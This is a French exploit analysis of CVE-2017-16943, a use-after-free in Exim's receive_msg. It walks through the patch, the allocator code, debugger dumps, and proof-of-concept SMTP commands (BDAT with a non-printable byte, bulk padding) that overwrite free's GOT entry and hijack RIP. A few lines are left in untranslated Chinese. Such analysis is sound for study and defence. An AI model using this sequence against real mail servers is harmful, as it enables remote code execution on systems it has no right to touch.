
Analyse technique et preuve de concept d'exploitation pour CVE-2017-16943, une vulnérabilité use-after-free dans Exim MTA, avec manipulation du heap et démonstration pas à pas du détournement du RIP.
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Modifiez les variables de chemin et le nom d'utilisateur dans le Makefile
cd ..
make -j8
sudo make install
Après l'installation, modifiez accept hosts = : en accept hosts = * dans le fichier de configuration.
Exécutez :
exim -bdf -d-receive
Cette vulnérabilité est un Use-After-Free (UAF) qui se produit dans la fonction receive_msg du fichier receive.c. Cette fonction est utilisée pour recevoir les entrées du client. Voici l'enregistrement du correctif (patch) :
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
Clarifions d'abord le rôle de quelques variables globales :
current_block: 当前的storeblock,下次使用store_get_3的时候优先从该storeblock寻找空闲区域
next_yield:指向current_block中空闲区块的起始地址,storeblock一般来说是上半部分被使用,下半部分空闲
yield_length:next_yield的长度
En analysant le POC de meh, on sait que le programme non patché peut déclencher le UAF via le processus de disposition de tas (heap layout) suivant :
Tout d'abord, dans la fonction receive_msg, faites en sorte que next->text devienne le tampon de départ d'un storeblock :

Ensuite, via la commande bdat, allouez un tampon en dessous de ce text.

Pourquoi utiliser la commande bdat ?
En fait, auth plain ou des commandes illégales composées de caractères non visibles peuvent également allouer un tampon sous text, mais d'autres instructions provoquent la sortie de la fonction receive_msg.
Lors de la prochaine entrée dans receive_msg, next->text pointera vers une autre zone, donc la vulnérabilité ne peut pas être déclenchée.
La commande bdat ne fait pas sortir la fonction receive_msg actuelle, ce qui est très important.
Ensuite, envoyez continuellement des caractères pour remplir next_text (initialement 0x100), puis le programme atteint le point vulnérable.
Dans store_extend, on découvre que la présence du tampon bdat empêche l'extension, donc store_get est exécuté pour obtenir la zone pointée par next_yield, puis la fonction store_release est appelée.
Dans cette fonction, on vérifie seulement si le paramètre de release est le début d'un storeblock, mais on ne vérifie pas s'il y a d'autres tampons derrière, et le storeblock est libéré directement.
Cela fait que l'adresse retournée par store_get se trouve toujours à l'intérieur de current_block, mais immédiatement après, current_block est libéré, provoquant un UAF.
Ici, nous expliquons étape par étape comment détourner RIP en combinant le code POC.
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
Tout d'abord, envoyez beaucoup de données dans le but de rendre yield_length inférieur à 0x130 mais supérieur à 0x30.
Pourquoi cela ? Regardons le début de la fonction receive_msg :
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
On peut voir qu'avant d'allouer next->text, deux tampons de taille sizeof(header_line) sont alloués, cette taille est 0x18.
Donc, si après avoir alloué ces deux blocs de taille 0x18, la taille restante yield_length est inférieure à 0x100, alors lors de l'allocation de next->text, store_get allouera un nouveau storeblock, et next->text se trouvera au début de ce storeblock.
Ensuite, nous appelons la commande bdat :
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
Cette commande contient un caractère non visible, ce qui déclenche un appel à store_get pour allouer un tampon afin de stocker un message d'erreur :
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(Y compris les instructions illégales contenant un caractère non visible entraînent également une allocation de bloc supplémentaire.)
À ce moment-là, envoyez continuellement des caractères :
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
Alors, les caractères reçus sont écrits octet par octet dans next->text. Lorsque la zone libre de 0x100 est remplie, le code vulnérable est exécuté pour étendre la taille de next->text.
Tout d'abord, entrez dans store_extend(next->text, oldsize, header_size) pour tenter d'étendre directement la taille :
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
Les jugements principaux se trouvent aux lignes 276-277.
La première condition vérifie si le pointeur ptr à étendre est immédiatement suivi par next_yield.
La deuxième condition vérifie si, en ajoutant la taille de next_yield (c'est-à-dire yield_length), c'est suffisant.
Évidemment, la première condition n'est pas satisfaite, car next->text est suivi d'un tampon bdat, et ensuite de next_yield.
Ensuite, entrez dans store_get pour demander un nouveau bloc, qui est alloué à next_yield.
Puis, appelez store_release pour libérer l'ancien next_text. Notez la logique de vérification ici :
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452:
453: /* It will never be the first block, so no need to check that. */
454:
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456: {
457: storeblock *bb = b->next;
458: if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459: {
...
482: free(bb);
483: return;
484: }
485: }
486: }
487:
Le programme parcourt la chaîne depuis chainbase en suivant les pointeurs next des storeblock. S'il trouve que le bloc libéré se trouve au début d'un storeblock (deuxième condition de la ligne 455), alors ce storeblock est libéré (free).
Mais à ce moment, current_block pointe vers ce bloc de tas, et le nouveau next_text se trouve également à l'intérieur de ce bloc, provoquant un UAF.
Après la libération du bloc de tas, current_block est placé dans l'unsorted bin :
pwndbg> tel ¤t_block
00:0000│ 0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│ 0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│ 0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│ 0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│ 0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│ 0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg>
À ce moment-là, main_arena est ajouté à la chaîne des storeblock.
Au fur et à mesure que les caractères sont envoyés, l'ancien next->text appelle continuellement store_extend pour étendre sa taille. Bien que current_block ait été libéré, next_yield pointe toujours à l'intérieur de current_block, ce qui permet à next->text de continuer à s'étendre via store_extend jusqu'à ce qu'il remplisse tout current_block.
Lorsqu'il ne peut plus s'étendre, entrez à nouveau dans store_get pour obtenir un nouveau bloc de tas :
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138:
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142:
143: if (size > yield_length[store_pool])
144: {
145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146: int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147: storeblock * newblock = NULL;
148:
149: /* Sometimes store_reset() may leave a block for us; check if we can use it */
150:
151: if ( (newblock = current_block[store_pool])
152: && (newblock = newblock->next)
153: && newblock->length < length
154: )
155: {
156: /* Give up on this block, because it's too small */
157: store_free(newblock);
158: newblock = NULL;
159: }
...
On peut voir qu'aux lignes 151-153, le programme tente d'obtenir current_block->next et de vérifier si ce bloc est assez grand pour être alloué ; sinon, il le libère.
Notez que current_block est maintenant dans l'unsorted bin, current_block->next pointe vers main_arena, et la dernière condition n'est pas satisfaite, donc newblock = main_arena.
File: store.c
176: current_block[store_pool] = newblock;
177: yield_length[store_pool] = newblock->length;
178: next_yield[store_pool] =
179: (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180: (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181: }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];
À ce moment, le programme retourne directement main_arena comme nouveau tampon, puis à la ligne 1824, le contenu de l'ancien bloc de tas est copié dans le nouveau bloc, écrasant ainsi main_arena.
File: receive.c
1816: if (ptr >= header_size - 4)
1817: {
1818: int oldsize = header_size;
1819: /* header_size += 256; */
1820: header_size *= 2;
1821: if (!store_extend(next->text, oldsize, header_size))
1822: {
1823: uschar *newtext = store_get(header_size);
1824: memcpy(newtext, next->text, ptr);
1825: store_release(next->text);
1826: next->text = newtext;
1827: }
1828: }
Cette écriture écrase directement free_got, donc par la suite, n'importe quelle manipulation permettra de détourner RIP.